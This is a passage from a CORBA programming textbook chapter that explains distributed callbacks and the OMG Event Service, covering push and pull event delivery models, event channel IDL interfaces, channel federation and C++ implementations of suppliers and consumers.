                            in Callback     cb, 
                            in CallbackInfo why 
                        ); 
    // ... 
    }; 
}; 
 
       
The CallbackInfo structure and the Callback interfaces are the same as before, 
but we have added a CBRegistration interface and changed the return type of the 
register_callback operation. Now, a CBRegistration object is created as the 
result of register_callback. When the application wants to unregister its callback, 
it invokes unregister on the CBRegistration returned from 
register_callback. The CBRegistration object is created to represent only a 
single callback registration, so it leaves no ambiguity as to which callback object should 
be unregistered. The unregister operation also implicitly destroys the callback 
registration, so invoking unregister after the callback has already been unregistered 
will result in an OBJECT_NOT_EXIST exception. An additional benefit of this approach 
is that it does not open a hole for applications to cancel callbacks for other applications, 
something that the original solution allowed. 

Callback Persistence 

To maintain server activation transparency for the monitoring applications, we must 
modify the CCS server to save callback information in persistent storage. Otherwise, if 
the CCS server application stopped because of inactivity or for maintenance or if it 
crashed because of an application defect, the monitoring applications would not know 
that their callback registrations had suddenly become invalid. 
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This requirement to save callback information in persistent storage may seem innocuous, 
but it is not. Depending on the number of callback registrations that must be persistently 
stored, we might be able to use a simple text file for storage, or we might need a full-
blown relational or object database. Either way, this new requirement adds a significant 
complication to the CCS server application. 

Callback Failure 

When an event occurs, the CCS server must deliver a notification to each registered 
callback. Depending on the number of registered callbacks and whether the monitoring 
applications are careful to unregister callbacks when they are no longer needed, it is 
likely that not all callback objects will still exist and be reachable when a callback must 
be delivered. If a particular callback results in an OBJECT_NOT_EXIST exception, the 
CCS server must know to unregister that call-back object. If a callback results in a 
TRANSIENT exception with a completion status of COMPLETED_NO, the CCS server 
can retry the callback. However, the server either must arbitrarily choose a number of 
retries before it gives up or must allow that number to be configured somehow (either 
administratively, or programmatically at callback registration time). Properly planning 
for and handling these kinds of errors can be difficult. 

Scalability 

To properly support callbacks, the CCS server must be able to deliver them in a timely 
fashion. This may or may not be difficult, depending on the total number of callbacks 
registered and on the types of calculations required to determine which ones must be 
notified for each event. We can perform as much precalculation as possible of the 
callback information that is passed with each callback registration, and this could reduce 
the amount that must be performed when a given temperature is reached or when a 
certain thermostat setting is detected. Depending on the needs of each application 
requiring a callback, both the amount of calculation per event and the number of 
registered callbacks help determine whether we will be able to meet the desired qualities 
of service. 
 
If any of the clients receiving callbacks is itself handling many other requests or is 
bogged down performing its own calculations, it may be slow to receive and process any 
callbacks from the server. This in turn can cause the CCS server to slow down or even 
hang and thus can affect the rate of delivery for all callback objects known to the server. 
In general, it is difficult to write callback-based applications that scale well. If there are 
enough callbacks to deliver, the work the server application must do to deliver them 
eventually outweighs the processing it was originally written to perform. If that were not 
enough, dealing with uncooperative clients can block or even hang the server. 

Coupling 

Because the server must have an object reference for each callback object, both client and 
server are tightly coupled because of knowledge of the callback interface. In our CCS 
callback example, the clients, the servers, and the Callback interface itself all know 
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about the CallbackInfo structure, the CBRegistration interface, and the 
Thermometer::register_callback operation. Should we ever need to modify 
any of these, all clients and servers will also have to be modified. 

20.3.3 Evaluating Distributed Callbacks 

Whether or not suitable solutions to the registration, persistence, and callback delivery 
problems can be found and implemented, it should be obvious that these issues force 
complicated new requirements on our CCS system. Our servers, which originally were 
designed to handle simple thermostat and thermometer objects, must now keep track of 
callback registrations in persistent storage and try their best to deliver event notifications 
as quickly as possible to all interested callback objects. Implementing these new 
requirements is not trivial. The time and effort required to add callback support would 
most likely take longer than it took to implement the entire earlier version of the 
application. 
 
To effectively solve all these problems, we must separate concerns. Rather than have our 
CCS server handle all the climate control requests and also deal with callbacks, we must 
use a different system to handle event delivery. This is precisely the capability that an 
implementation of the OMG Event Service provides. 

20.4 Event Service Basics 

In the OMG Event Service model, suppliers produce events and consumers receive them. 
Both suppliers and consumers connect to an event channel. An event channel conveys 
events from suppliers to consumers without requiring suppliers to know about consumers 
or vice versa. The event channel plays the central role in the Event Service. It is 
responsible for supplier and consumer registration, timely and reliable event delivery to 
all registered consumers, and the handling of errors associated with unresponsive 
consumers. 
 
The OMG Event Service provides two models for event delivery: the push model and the 
pull model. With the push model, suppliers push events to the event channel, and the 
event channel pushes events to consumers. Figure 20.1 illustrates the push style of 
event delivery. Note that the arrows indicate the client and server roles and point from 
client to server. 

Figure 20.1 Push-style event delivery model. 
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For the pull model, the actions that cause event flow occur in the opposite direction: 
consumers pull events from the event channel, and the event channel pulls events from 
suppliers. The pull model is shown in Figure 20.2. 

Figure 20.2 Pull-style event delivery model. 

 
Event channels allow multiple suppliers and consumers to be connected to them. Because 
some of them will want to use the push model, and others will want to use the pull model, 
event channels support four different models for event delivery: 
 
The canonical push model 
The canonical pull model 
The hybrid push/pull model 
The hybrid pull/push model 
 
These models differ in whether suppliers and consumers are active or passive (that is, act 
as client or server). We provide details of each of these models in the following sections. 

20.4.1 Canonical Push Model 

In this model, suppliers push events to the event channel, which in turn pushes them to all 
registered consumers (see Figure 20.3). 

Figure 20.3 Canonical push model. 

 
Suppliers are thus the active initiators of events, whereas consumers passively wait to 
receive them. The event channel plays the role of a notifier as defined by the Observer 
pattern [4]. The canonical push model is the most commonly used event delivery model. 
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20.4.2 Canonical Pull Model 

In this model, consumers pull events from the event channel, which in turn pulls them 
from suppliers. As illustrated in Figure 20.4, consumers are the active initiators of 
events, and suppliers passively wait until events are pulled from them. The event channel 
plays the role of procurer because it procures events on behalf of consumers. 

Figure 20.4 Canonical pull model. 

 

20.4.3 Hybrid Push/Pull Model 

In this model, suppliers push events to the event channel, where they are pulled by 
consumers (see Figure 20.5). Thus, both suppliers and consumers are active in this 
model. The event channel plays the role of queue because it merely stores event data 
pushed by suppliers until it has been pulled by consumers. 

Figure 20.5 Hybrid push/pull model. 

 

20.4.4 Hybrid Pull/Push Model 
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In this model, event channels pull events from suppliers and push them to consumers (see 
Figure 20.6). Both suppliers and consumers are passive in this model. The event 
channel plays the role of intelligent agent. The role is so named because the event 
channel must be capable of initiating the movement of all events in the system. 

Figure 20.6 Hybrid pull/push model. 

 

20.4.5 Mixing Event Models 

The diagrams in the previous sections might mislead you into thinking that event 
channels, suppliers, and consumers can be configured into only one of the four event 
delivery models. Fortunately, this is not the case. A single event channel can support all 
four models simultaneously, as shown in Figure 20.7. Here, a single event channel has 
attached to it two passive suppliers and one active supplier as well as a passive consumer 
and an active consumer. All four event delivery models are represented here. 

Figure 20.7 Mixing event delivery models. 

 
The relationship between the top consumer and the top supplier represents the canonical 
pull model. 
The relationship between the top consumer and the middle supplier represents the hybrid 
push/pull model. 
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The relationship between the bottom consumer and the middle supplier represents the 
canonical push model. 
The relationship between the bottom consumer and the bottom supplier represents the 
hybrid pull/push model. 
Thus, Figure 20.7 shows that an event channel is capable of fulfilling all four roles 
simultaneously. 
Although the event channel is fulfilling multiple roles, each consumer receives all events 
provided by all suppliers. The event channel decouples the consumers and suppliers so 
that none of them knows whether the other consumers and suppliers are connected for 
pushing or for pulling. 

20.5 Event Service Interfaces 

The CosEventComym module provides the IDL definitions needed to interact with 
event channels. Many of these interfaces, however, are concerned only with suppliers and 
consumers; they make no mention of event channels. As Figure 20.8 shows, the event 
channel is itself both a supplier and consumer. 

Figure 20.8 Event channel proxy supplier and proxy consumer interfaces. 

 
These supplier and consumer interfaces are called proxy interfaces because they represent 
the actual supplier and the actual consumer to each other. In other words, these interfaces 
provide the illusion to consumers and suppliers that they are interacting with the actual 
suppliers and actual consumers, respectively. 

20.5.1 Interfaces for the Push Model 

Following are the interfaces that support the push model. 
       
module CosEventComm 
    exception Disconnected {}; 
     
    interface PushConsumer { 
        void push(in any data) raises(Disconnected); 
     
     void disconnect_push_consumer(); 
    }; 
     
    interface PushSupplier { 
        void disconnect_push_supplier(); 
    }; 
    // ... 
}; 
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A push consumer implements the PushConsumer interface and registers an object 
reference for it with a supplier. A supplier then uses that object reference to send event 
data to the PushConsumer object by invoking its push operation. 
 
Both consumers and suppliers can disconnect from each other. If an event supplier 
decides that it no longer wants to send events to a particular consumer, it can invoke the 
disconnect_push_consumer operation on that consumer. If a supplier invokes 
push on a disconnected consumer, the supplier gets a Disconnected exception. 
 
Alternatively, if a push consumer no longer wants to receive events, it can disconnect 
from its supplier by invoking disconnect_push_supplier on the supplier's 
PushSupplier object. This implies that the supplier must have given a 
PushSupplier object reference to the consumer. This normally occurs at registration 
time, as described in Section 20.5.3. 
 
Event data is sent in the form of an any, and that allows any IDL data type to be used to 
convey information about the event. This implies that the consumer either knows what 
type to expect in the any or is willing to determine the contents dynamically using the 
DynAny interface (see Chapter 17). Use of the any type also allows the event data to 
be passed unchanged through an event channel implementation. Without it, either the 
event channel IDL would have to specify the precise data type that all suppliers and 
consumers would have to use regardless of their problem domain, or the event channel 
would somehow have to support dynamic extensibility to allow suppliers and consumers 
to add type-specific event delivery operations as necessary. Using the any type is much 
more practical than either of these approaches. 

20.5.2 Interfaces for the Pull Model 

The interfaces that support the pull model, shown next, are essentially a mirror image of 
the interfaces for the push model. 
       
module CosEventComm { 
    interface PullSupplier { 
        any pull() raises(Disconnected); 
         
        any try_pull(out boolean has_event) raises(Disconnected); 
         
        void disconnect_pull_supplier(); 
    }; 
     
    interface PullConsumer { 
        void disconnect_pull_consumer(); 
    }; 
    // ... 
}; 
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A consumer pulls events from a supplier in one of two ways. 
The consumer invokes the pull operation to block until an event is available and can be 
returned. 
 
The consumer invokes the try_pull operation to poll for events without blocking. If 
no events are available, try_pull returns immediately with its out parameter 
has_event set to false to indicate that no event data was available. If an event is 
available, try_pull returns the event data and sets the has_event parameter to true. 
If a consumer is no longer interested in pulling events from a supplier, it invokes the 
disconnect_pull_supplier operation. Any further invocation of pull or 
try_pull will raise the Disconnected exception to the invoking consumer. A 
supplier can indicate its desire to break the pull connection by invoking 
disconnect_pull_consumer on the consumer object's PullConsumer interface. 
As with the push model, this capability implies that the supplier and consumer have 
already exchanged PullSupplier and PullConsumer object references. 

20.5.3 Event Channel Interfaces 

So far, our descriptions of the interfaces used for pushing and pulling have not mentioned 
the event channel. As Figure 20.8 shows, this is because the event channel presents 
itself as a consumer to suppliers and as a supplier to consumers. However, event channels 
also provide administrative interfaces that allow consumers and suppliers to establish 
logical connections with it. The IDL types related to event channel administration are 
defined in the CosEventChannelAdmin module. 
       
module CosEventChannelAdmin { 
    interface ProxyPushSupplier; 
    interface ProxyPullSupplier; 
   
    interface ProxyPushConsumer; 
    interface ProxyPullConsumer; 
   
    interface ConsumerAdmin { 
        ProxyPushSupplier obtain_push_supplier(); 
        ProxyPullSupplier obtain_pull_supplier(); 
    }; 
     
    interface SupplierAdmin { 
        ProxyPushConsumer obtain_push_consumer(); 
        ProxyPullConsumer obtain_pull_consumer(); 
    }; 
     
    interface EventChannel { 
        ConsumerAdmin for_consumers(); 
        SupplierAdmin for_suppliers(); 
        void          destroy(); 
    }; 
    // ... 
}; 
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The EventChannel interface supplies three operations. 
Consumers that want to connect to an event channel invoke its for_consumers 
operation, which returns a ConsumerAdmin object reference. 
Suppliers that want to connect to an event channel invoke its for_suppliers 
operation, which returns a SupplierAdmin object reference. 
 
Invoking destroy on an event channel permanently destroys it, including any events 
that it has not yet delivered. Moreover, destroying the event channel also destroys all 
administrative objects created by that channel and all proxy objects created by those 
administrative objects. Any connected consumers and suppliers are notified when their 
channel is destroyed. 
 
After invoking for_consumers on an event channel, the consumer must decide 
whether it wants to use the push model or the pull model. If it wants to be a push 
consumer, it invokes the obtain_push_supplier operation on the 
ConsumerAdmin object returned from for_consumers. Otherwise, it invokes 
obtain_pull_supplier. Similarly, suppliers must decide whether they want to 
support the push or pull model, so they can invoke the appropriate operation on the 
SupplierAdmin returned from EventChannel::for_suppliers. 

Establishing Push Model Connections 

A consumer that wants to register as a push consumer first obtains a 
ProxyPushSupplier object reference by invoking obtain_push_supplier on 
a ConsumerAdmin object. Similarly, a supplier that wants to push events first obtains a 
ProxyPushConsumer by invoking 
SupplierAdmin::obtain_push_consumer. These proxy interfaces are shown 
next. 
        
module CosEventChannelAdmin { 
    exception AlreadyConnected {}; 
    exception TypeError {}; 
    
    interface ProxyPushSupplier : CosEventComm::PushSupplier { 
        void connect_push_consumer( 
                in CosEventComm::PushConsumer push_consumer 
             ) raises(AlreadyConnected, TypeError); 
    }; 
  
    interface ProxyPushConsumer : CosEventComm::PushConsumer { 
        void connect_push_supplier( 
                in CosEventComm::PushSupplier push_supplier 
             ) raises(AlreadyConnected); 
    }; 
    // ... 
}; 
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The ProxyPushSupplier interface inherits the CosEventComm:: 
PushSupplier interface, and ProxyPushConsumer inherits 
CosEventComm::PushConsumer. These base interfaces are described in Section 
20.5.1. These derived interfaces supply operations that allow consumers and suppliers, 
respectively, to establish connections to an event channel. A push consumer invokes 
connect_push_consumer on a ProxyPushSupplier in order to establish a 
connection to its PushConsumer object. Similarly, a push supplier invokes 
connect_push_supplier on a ProxyPushConsumer in order to connect itself. 
A consumer invoking connect_push_consumer passes an object reference for its 
PushConsumer object. By invoking push on this object reference, the supplier 
delivers events to the consumer. As described in Section 20.5.1, the supplier can also 
invoke the disconnect_push_consumer to disconnect the consumer from the 
channel. 
 
A supplier calls connect_push_supplier to make itself known to the target proxy 
push consumer. If it is interested in having the proxy push consumer notify it when it is 
about to be disconnected, it can pass a non-nil PushSupplier object reference as an 
argument. Otherwise, it must pass a nil object reference, in which case it will not be 
notified if it is disconnected by the proxy push consumer. 

Establishing Pull Model Connections 

A supplier that wants to register as a pull supplier first obtains a 
ProxyPullConsumer object reference by invoking obtain_pull_consumer on 
a SupplierAdmin object. Similarly, a consumer that wants to pull events first obtains 
a ProxyPullSupplier by invoking 
ConsumerAdmin::obtain_pull_supplier. These proxy interfaces are shown 
next. 
        
module CosEventChannelAdmin { 
    interface ProxyPullConsumer : CosEventComm::PullConsumer { 
        void connect_pull_supplier( 
                in CosEventComm::PullSupplier pull_supplier 
             ) raises(AlreadyConnected, TypeError); 
    }; 
    
    interface ProxyPullSupplier : CosEventComm::PullSupplier { 
        void connect_pull_consumer( 
                in CosEventComm::PullConsumer pull_consumer 
             ) raises(AlreadyConnected); 
    }; 
    // ...  
}; 
 
       
Like their push counterparts described in the preceding section, these interfaces inherit 
the basic pull model interfaces defined in the CosEventComm module (see Section 
20.5.2). ProxyPullConsumer and ProxyPullSupplier provide operations that 
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allow pull suppliers and pull consumers, respectively, to establish connections to an event 
channel. 
 
A supplier invoking connect_pull_supplier passes an object reference for its 
PullSupplier object. By invoking pull on this object reference, the consumer can 
retrieve events from the supplier. As described in Section 20.5.2, the consumer can 
also invoke the disconnect_pull_supplier to disconnect the supplier from the 
channel. 
 
A consumer calls connect_pull_consumer to make itself known to the target 
proxy pull supplier. If it is interested in having the proxy pull supplier notify it when it is 
about to be disconnected, it can pass a non-nil PullConsumer object reference as an 
argument. Otherwise, it must pass a nil object reference, in which case it will not be 
notified if it is disconnected by the proxy pull supplier. 

Connection Exceptions 

A proxy supplier can be connected only to a single consumer; similarly, a proxy 
consumer can be connected only to a single supplier. To enforce this, all connection 
operations that the proxy interfaces provide can raise the AlreadyConnected 
exception. This exception is raised if a connection operation is invoked multiple times on 
the same proxy. For example, the following code will cause an AlreadyConnected 
exception to be raised. 
        
proxy_push_supplier->connect_push_consumer(a_push_consumer); 
proxy_push_supplier->connect_push_consumer(another_push_consumer); 
 
       
The second invocation of connect_push_consumer will raise the 
AlreadyConnected exception because the first invocation established a connection 
to the target proxy supplier. 
 
The ProxyPushSupplier::connect_push_consumer and the 
ProxyPullConsumer::connect_pull_supplier can also raise the 
TypeError exception. This exception is raised if the proxy supplier and proxy 
consumer objects of an event channel implementation impose additional type constraints 
on the consumers and suppliers that are connected to them. This exception is present 
primarily to support typed event channels, which are event channels that pass specific 
event data types rather than pass event data using the IDL any type. Because 
implementations of typed event channels are rare, there is little real-world experience 
with using them, so we do not cover them in this book. 

Disconnection 

Invoking disconnection operations on proxy supplier and consumer objects effectively 
destroys them. This is because the disconnection operations provide the only means by 
which an event channel knows it can clean up connections that are no longer needed. It 
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might have been better if the designers of the OMG Event Service had made the names of 
the disconnection operations on the proxy supplier and consumer interfaces reflect their 
destructive side effects. However, this was not possible because the disconnection 
operations are inherited from the base consumer and supplier interfaces provided in the 
CosEventComm module. Because your user applications implement these base 
interfaces in order to send and receive events, you can make their disconnection 
operations perform whatever actions you deem necessary, including destroying the target 
object. 
 
Although the Event Service specification does not require it, you should always explicitly 
invoke disconnection operations when you no longer want to supply or receive events. 
Otherwise, your event channel might have a difficult time determining whether and when 
it can clean up its proxy consumer and supplier objects. Over time, these stranded proxy 
objects can bloat an event channel process and affect its event delivery performance. 

20.5.4 Event Channel Federation 

Because event channels support the basic consumer and supplier interfaces for both push 
and pull, one event channel can be hooked to another event channel just as any other 
supplier or consumer can be. Figure 20.9 shows one event channel registered as a 
PushConsumer of another. 

Figure 20.9 Federated event channels. 

 
Coupling event channels in this manner allows you to distribute the responsibility and 
costs of event delivery. In Figure 20.9 the consumer event channel has four consumers 
of its own, and the supplier event channel has two consumers. If the consumer event 
channel were not registered as a consumer of the supplier event channel, all four of its 
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consumers would instead have to be directly connected to the supplier event channel. 
This would mean that the supplier event channel would have five direct consumers rather 
than two. 
 
Assuming that the supplier event channel and consumer event channel run as separate 
server processes, this configuration allows the load of obtaining events from suppliers to 
be handled by the supplier event channel and allows most of the consumer delivery load 
to be handled by the consumer event channel. The trade-off is the extra hop required to 
get the events from the supplier channel to the consumer channel. 
 
The steps for connecting event channels are somewhat tricky. If you perform them in the 
wrong order, your active channel could end up getting disconnection exceptions for each 
event it tries to deliver because the passive channel is not yet ready to receive events. The 
proper steps are as follows. 

Step 1.  
Obtain a ProxyPushSupplier object reference from the supplier event channel (the 
active end). 

Step 2.  
Obtain a ProxyPushConsumer object reference from the consumer event channel (the 
passive end). 

Step 3.  
Invoke connect_push_supplier on the ProxyPushConsumer, passing it the 
ProxyPushSupplier object reference. This lets the passive side of the interchannel 
connection know about the active side and sets the passive side into the state of being 
ready to receive events. 

Step 4.  
Invoke connect_push_consumer on the ProxyPushSupplier, passing it the 
ProxyPushConsumer object reference. This lets the active side of the interchannel 
connection know about the passive side. At this point, the active side can start pushing 
events to the passive side. 
 
In the following sections we show examples of the actual C++ code you would have to 
write to set up this kind of connection or any interchannel based on any other of the event 
delivery models. 

20.6 Implementing Consumers and Suppliers 

Whether you are implementing a supplier or a consumer that pushes or pulls events, the 
steps you perform to implement and register them are roughly the same. The general 
steps required are as follows. 

Step 1.  
Implement a servant for your push consumer or pull supplier. Both push suppliers and 
pull consumers are clients, so you do not need to implement servants for those cases. 

Step 2.  



IT-SC book: Advanced CORBA® Programming with C++ 

 811

Obtain a reference to the event channel. This step depends on your CORBA environment, 
but it is usually done by using the Naming Service or Trading Service to find an event 
channel object reference. 

Step 3.  
Get a ConsumerAdmin reference from the EventChannel if you want to register a 
consumer, or get a SupplierAdminw reference if you want to register a supplier. 

Step 4.  
Obtain the appropriate proxy object reference for the event model you want to use from 
the ConsumerAdmin or SupplierAdmin object. 

Step 5.  
Invoke the appropriate connection operation on the proxy object. 
 
In the following sections, we show how to implement push and pull flavors of both 
consumers and suppliers. To keep the example code focused on the Event Service, we 
create all objects as transient objects of the Root POA. We also assume that a name 
binding for our event channel already exists directly in the initial NamingContext 
returned from ORB::resolve_initial_references. 
 
The examples we show in the next few sections are based on having the thermostats in 
the CCS deliver an event whenever their temperature settings are modified. The 
following IDL struct is used to convey event data to all interested consumers. 
      
module CCS { 
    struct TStatEvent { 
        Thermostat ts; 
        AssetType  asset_num; 
        LocType    location; 
        TempType   temp; 
    }; 
    // ...  
}; 
 
     
Whenever any temperature setting of any thermostat in the CCS is modified, the 
Thermostat_impl servant generates an event. The event data in the TStatEvent 
structure consists of information concerning the affected Thermostat: its object 
reference, asset number, location, and new temperature setting. 

20.6.1 Obtaining an EventChannel Reference 

All examples shown in the following sections are assumed to obtain the event channel 
object reference as shown here. 
       
int 
main(int argc, char * argv[]) 
{ 
    // Initialize the ORB. 
    CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
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    // Obtain a reference to the root NamingContext. 
    CosNaming::NamingContext_var root_nc = 
        resolve_init<CosNaming::NamingContext>(orb, "NameService") ; 
    // Create the Name of the event channel binding. 
 
    CosNaming::Name ec_name; 
    ec_name.length(1); 
    ec_name[0].id = CORBA::string_dup("event_channel"); 
 
    // Resolve the binding to the event channel object reference. 
    CosEventChannelAdmin::EventChannel_var channel = 
        resolve_name<CosEventChannelAdmin::EventChannel>( 
            root_nc, ec_name 
        ); 
    // ... 
} 
 
      
This program segment (which for brevity contains no error handling) first initializes the 
ORB and uses it to obtain a NamingContext object reference. To get the initial 
NamingContext, we use the resolve_init template function introduced in 
Section 18.14.1. It creates a name, which it then passes to the resolve_name 
helper template function (also from Section 18.14.1). The resolve_name function 
looks up the Naming Service binding for the EventChannel object reference and 
narrows the result to the EventChannel interface. The resulting channel object 
reference variable is used in the following implementation examples. 

20.6.2 Implementing a Push Supplier 

To send an event whenever the temperature setting of a Thermostat is changed, we 
augment our implementation of the Thermostat::set_nominal operation. 
       
CCS::TempType 
Thermostat_impl:: 
set_nominal(CCS::TempType new_temp) 
throw(CORBA::SystemException, CCS::Thermostat::BadTemp) 
{ 
    // Check that the new temperature is within range, and if 
    // so, set the desired temperature to new_temp (not shown). 
   
    // Create our event data. 
    CCS::TStatEvent event_data; 
    event_data.ts        = _this(); 
    event_data.asset_num = m_anum; 
    event_data.location  = location(); 
    event_data.temp      = new_temp; 
  
    // Insert the event data into an any. 
    CORBA::Any any; 
    any <= event_data; 
  
    // Push the event to the event channel. Assume that 
    // the "consumer" variable is a reference to our 
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    // ProxyPushConsumer obtained from the event channel. 
    consumer->push(any); 
  
    return new_temp; 
} 
 
      
Thermostat_impl::set_nominal first performs whatever actions it normally 
takes to configure the target thermostat with its new settings (we do not show this code 
because it does not pertain to event delivery). We then create an instance of the 
TStatEvent structure and initialize its members. Its thermostat member is 
intended to refer to the target object of the request being processed, so we initialize it 
with the result of invoking the _this function to obtain the object reference of the target 
object. We initialize the asset_num and location data members using the m_anum 
data member and the device access helper functions (see Section 10.4) and set the 
temp member to the new temperature setting passed into this method. 
 
After the TStatEvent structure is initialized, we insert it into a CORBA::Any. Finally, 
we invoke push on the consumer object reference, passing the event any data to it. 
This pushes the event into the event channel, which then ensures that all consumers 
receive it. 
 
To register our push supplier with the event channel, we first obtain a SupplierAdmin 
reference from the event channel. 
       
// Assume the "channel" variable refers to our event channel. 
CosEventChannelAdmin::SupplierAdmin_var supplier_admin = 
    channel->for_suppliers(); 
 
// Obtain a ProxyPushConsumer from the SupplierAdmin. 
CosEventChannelAdmin::ProxyPushConsumer_var consumer = 
    supplier_admin->obtain_push_consumer(); 
 
// Invoke the connect_push_supplier operation, passing 
// a nil PushSupplier reference to it. 
CosEventComm::PushSupplier_var nil_supplier = 
    CosEventComm::PushSupplier::_nil(); 
consumer->connect_push_supplier(nil_supplier); 
 
      
We then obtain a reference to a ProxyPushConsumer on our event channel by 
invoking obtain_push_consumer on the supplier_admin object reference. We 
have decided that we do not want to be explicitly notified of having our supplier 
disconnected from the event channel, so we register ourselves as a supplier by invoking 
connect_push_supplier on the consumer object reference, passing it a nil 
PushSupplier object reference. If we instead had wanted to be notified of being 
disconnected, we would have had to create an object supporting the PushSupplier 
interface and pass its reference to connect_push_supplier. 
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Note that in our example, the push supplier is a servant, but it is not a servant for any 
objects supporting the Event Service interfaces. Indeed, a push supplier need not be a 
servant nor even a C++ object; any function, or even straight-line code in your program's 
main function, can push an event. The only time an object reference needs to be 
provided by a push supplier is when it wants to be called back if a disconnection occurs. 
In that case, the application must support an instance of a PushSupplier object. 

20.6.3 Implementing a Push Consumer 

A push consumer must support the CosEventComm::PushConsumer interface. 
Following is the definition for our push consumer servant. 
       
class PushConsumer_impl : 
    public virtual POA_CosEventComm::PushConsumer { 
public: 
    PushConsumer_impl(CORBA::ORB_ptr orb); 
 
    virtual void disconnect_push_consumer() 
                    throw(CORBA::SystemException); 
 
    virtual void push(const CORBA::Any & any) 
                    throw( 
                        CORBA::SystemException, 
                        CosEventComm::Disconnected 
                    ); 
 
private: 
    CORBA::ORB_var m_orb; 
 
    // copy and assignment not supported 
    PushConsumer_impl(const PushConsumer_impl &); 
    void operator=(const PushConsumer_impl &); 
}; 
 
      
The constructor requires an object reference for the ORB, which it duplicates and stores 
in a data member. It is used by the disconnect_push_consumer method 
implementation. 
       
PushConsumer_impl:: 
PushConsumer_impl( 
    CORBA::ORB_ptr orb 
) : m_orb(CORBA::ORB::_duplicate(orb)) 
{ 
    // Intentionally empty 
} 
 
void 
PushConsumer_impl:: 
disconnect_push_consumer() 
throw(CORBA::SystemException) 
{ 
    CORBA::Object_var obj = 
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        m_orb->resolve_initial_references("POACurrent"); 
    PortableServer::Current_var current = 
        PortableServer::Current::_narrow(obj); 
    PortableServer::POA_var poa = current->get_POA(); 
    PortableServer::ObjectId_var oid = current->get_object_id(); 
    poa->deactivate_object(oid); 
} 
 
void 
PushConsumer_impl:: 
push(const CORBA::Any & any) 
throw(CORBA::SystemException, CosEventComm::Disconnected) 
{ 
    // Attempt to extract event data as a TStatEventstruct. 
    CCS::TStatEvent * event_data; 
    if (any >>= event_data) { 
        // Use values from the event data struct here (not shown). 
    } 
} 
 
      
Our implementation of disconnect_push_consumer deactivates the target object, 
effectively destroying the target object. We assume that the POA with which the object is 
registered has the RETAIN and USE_ACTIVE_OBJECT_MAP_ONLY policies. This 
means that our object will not be mistakenly reincarnated by a servant manager. 
 
The push method first attempts to extract a TStatEvent struct from the 
CORBA::Any it receives as an argument. If the extraction succeeds, our consumer can 
use the event data as it sees fit. For example, depending on the function of the consumer 
application, it might write it to some kind of log, display it on a screen, or check it to 
make sure that the new thermostat settings are within an acceptable range. 
 
Note that an attempt to extract the TStatEvent struct from the CORBA::Any 
argument may fail. Extraction failure can occur if a supplier other than our 
Thermostat_impl supplier is also connected to the same event channel and is 
providing event data of a different type to the channel. You should never write a push 
consumer that assumes that the event data being sent to it is of the type that it expects to 
receive; always check the Boolean result of every CORBA::Any extraction operation. 
To connect our push consumer, we use our servant to create a PushConsumer object 
and then register it with the event channel. 
       
// Create a new PushConsumer object. Assume the "orb" 
// variable is an already-initialized reference to the ORB. 
PushConsumer_impl servant(orb); 
CosEventComm::PushConsumer_var my_consumer = servant._this(); 
 
// Assume the "channel" variable refers to our event channel. 
CosEventChannelAdmin::ConsumerAdmin_var consumer_admin = 
    channel->for_consumers(); 
 
// Obtain a ProxyPushSupplier from the ConsumerAdmin. 
CosEventChannelAdmin::ProxyPushSupplier_var supplier = 
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    consumer_admin->obtain_push_supplier(); 
 
// Invoke the connect_push_consumer operation, passing 
// our PushConsumer reference to it. 
supplier->connect_push_consumer(my_consumer); 
 
      
To keep things simple, our example registers the push consumer as a transient object 
under the Root POA using the _this function for implicit activation. Naturally, your 
application may need to use a different POA with different policies for your consumer 
objects. 

20.6.4 Implementing a Pull Supplier 

A pull supplier must support the CosEventComm::PullSupplier interface. The 
implementation of a pull supplier is similar to that of a push consumer because both must 
be implemented as CORBA objects. Following is the definition for our pull supplier. 
       
class PullSupplier_impl : 
    public virtual POA_CosEventComm::PullSupplier { 
public: 
    PullSupplier_impl(CORBA::ORB_ptr orb); 
    
   // IDL method functions. 
    virtual void 
        disconnect_pull_supplier() throw(CORBA::SystemException); 
    
   virtual CORBA::Any * 
        pull() throw( 
            CORBA::SystemException, CosEventComm::Disconnected 
        ); 
    
   virtual CORBA::Any * 
        try_pull(CORBA::Boolean_out has_event) throw( 
            CORBA::SystemException, CosEventComm::Disconnected 
        ); 
    
   // C++ helper function. 
    void    thermostat_changed( 
                CCS::Thermostat_ptr ts, 
                CCS::AssetType      asset_num, 
                const char *        location, 
                CCS::TempType       temp 
             ); 
 
private: 
    Queue<CCS::TStatEvent *> m_queue; 
    CORBA::ORB_var           m_orb; 
 
    // copy and assignment not supported 
    PullSupplier_impl(const PullSupplier_impl &); 
    void operator=(const PullSupplier_impl &); 
}; 
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The PullSupplier_impl constructor takes a reference to the ORB, duplicates it, and 
stores the duplicated reference in the m_orb data member. The ORB reference is used by 
the disconnect_pull_consumer method. 
 
Our implementation of disconnect_pull_consumer deactivates the target object, 
effectively destroying the target object. We assume that the POA with which the object is 
registered has the RETAIN and USE_ACTIVE_OBJECT_MAP_ONLY policies. This 
means that our object will not be mistakenly reincarnated by a servant manager. 
 
Implementing pull and try_pull is somewhat tricky because of event buffering 
considerations. Because there are no standard requirements as to the frequency with 
which pull consumers will invoke pull or try_pull, a pull supplier must be prepared 
to store events until they are specifically requested. Available storage resources 
determine the limits for the number of events that a pull supplier can store before it must 
start discarding unpulled event data. When discarding events, pull suppliers also must 
decide which events can be discarded and which ones should be kept. Deciding how to 
keep the most meaningful events while discarding others depends heavily on both the 
application and the values of the event data. 
 
Our pull supplier example makes four simplifying assumptions. 
 
Our PullSupplier_impl servant is collocated with our Thermostat_impl 
servant. This allows the Thermostat_impl servant to signal changes in thermostat 
settings directly to the PullSupplier_impl servant by invoking its 
thermostat_changed C++ member function. These invocations are not CORBA 
operation invocations but instead are ordinary C++ function calls. 
 
Our PullSupplier_impl servant buffers events using a hypothetical thread-safe 
C++ Queue template class (not shown) that has the same interface as the STL queue 
type. However, unlike the STL queue, our thread-safe Queue allows us to safely push 
data into one end and to perform safe, blocking pulls of the data from the other end. The 
Queue also provides a non-blocking thread-safe pull operation. 
 
We do not implement an algorithm to decide whether and when events should be 
discarded. In other words, the queue is allowed to grow without bound. 
 
We assume that our POA has the ORB_CTRL_MODEL value for the 
PortableServer::ThreadingPolicy, thus allowing it to concurrently service 
requests on multiple objects. 
 
The constructor and disconnection operation are exactly the same as for the 
PushConsumer_impl servant shown in Section 20.6.3. The constructor duplicates 
and stores a reference to the ORB hosting the PullSupplier object. The 
disconnect_pull_supplier operation fetches the POACurrent object from the 
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ORB and uses it to get the POA and ObjectId of the target object, which it then 
